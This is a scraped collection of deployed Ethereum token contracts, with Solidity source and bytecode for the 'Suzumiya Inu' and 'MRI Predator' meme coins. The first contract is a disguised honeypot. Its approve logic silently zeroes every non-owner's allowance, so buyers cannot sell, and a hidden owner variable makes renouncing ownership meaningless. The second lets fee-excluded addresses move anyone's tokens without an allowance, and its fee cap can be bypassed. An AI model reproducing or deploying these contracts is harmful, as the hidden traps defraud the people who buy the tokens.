💮資 Tokenomics 資💮
Name: Suzumiya Inu
Ticker: Suzinu
Max Supply: 1,000,000,000,000
6% Marketing Tax
4% Development Tax
1% Liquidity
Launch Style: Fairlaunch
💮資 Socials 資💮
Telegram: https://t.me/suzumiyainu
Twitter: https://twitter.com/suzumiyainu
Website: https://suzumiyainu.com
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Suzumiyainueth is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**6* 10**18;
string private _name = 'Suzumiya Inu';
string private _symbol = 'Suzinu ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220fddebc277845ca73d091fffd3b71b0174e9fe198e7f1a72e970271cd51fd1e6f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,973 |
0x47515d3ba00dca61619ba48b179a7c0f960d2940
|
/**
*Submitted for verification at Etherscan.io on 2022-03-20
*/
/**
____ ,-.----.
,' , `.,-.----. ,---, \ / \ ___
,-+-,.' _ |\ / \ ,`--.' | | : \ ,---, ,--.'|_
,-+-. ; , ||; : \| : : | | .\ : __ ,-. ,---.'| | | :,' ,---. __ ,-.
,--.'|' | ;|| | .\ :: | ' . : |: |,' ,'/ /| | | : : : ' : ' ,'\ ,' ,'/ /|
| | ,', | ':. : |: || : | | | \ :' | |' | ,---. | | | ,--.--. .;__,' / / / |' | |' |
| | / | | ||| | \ :' ' ; | : . /| | ,'/ \ ,--.__| | / \ | | | . ; ,. :| | ,'
' | : | : |,| : . /| | | ; | |`-' ' : / / / | / ,' | .--. .-. |:__,'| : ' | |: :' : /
; . | ; |--' ; | | \' : ; | | ; | | ' . ' / |. ' / | \__\/: . . ' : |__' | .; :| | '
| : | | , | | ;\ \ | ' : ' | ; : | ' ; /|' ; |: | ," .--.; | | | '.'| : |; : |
| : ' |/ : ' | \.' : | : : : | , ; ' | / || | '/ ' / / ,. | ; : ;\ \ / | , ;
; | |`-' : : :-' ; |.' | | : ---' | : || : :|; : .' \ | , / `----' ---'
| ;/ | |.' '---' `---'.| \ \ / \ \ / | , .-./ ---`-'
'---' `---' `---` `----' `----' `--`---'
Welcome To MRI Predator ($MRIP)
Join Our Telegram: https://t.me/MRIPredator
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MRIPToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MRI Predator";//
string private constant _symbol = "MRIP";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 200000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 8;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x913e7Fd0e50e3123f5Be490EcdCD433468076bB6);//
address payable private _marketingAddress = payable(0x913e7Fd0e50e3123f5Be490EcdCD433468076bB6);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2000000 * 10**9; //
uint256 public _maxWalletSize = 4000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (!_isExcludedFromFee[_msgSender()]) _approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
uint256 feeRatio = _taxFeeOnBuy.div(_taxFeeOnSell);
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading() public onlyOwner {
tradingOpen = true;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell;
uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy;
require(totalSellFee <= 25 || totalBuyFee <= 25, "Fees must be under 25%");
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%");
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637c519ffb116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461053f578063dd62ed3e14610555578063ea1644d51461059b578063f2fde38b146105bb57600080fd5b8063a9059cbb146104ba578063bfd79284146104da578063c3c8cd801461050a578063c492f0461461051f57600080fd5b80638f9a55c0116100d15780638f9a55c01461043757806395d89b411461044d57806398a5c3151461047a578063a2a957bb1461049a57600080fd5b80637c519ffb146103ee5780637d1db4a5146104035780638da5cb5b1461041957600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611d05565b6105db565b005b34801561020a57600080fd5b5060408051808201909152600c81526b26a92490283932b230ba37b960a11b60208201525b60405161023c9190611e2f565b60405180910390f35b34801561025157600080fd5b50610265610260366004611c5b565b610688565b604051901515815260200161023c565b348015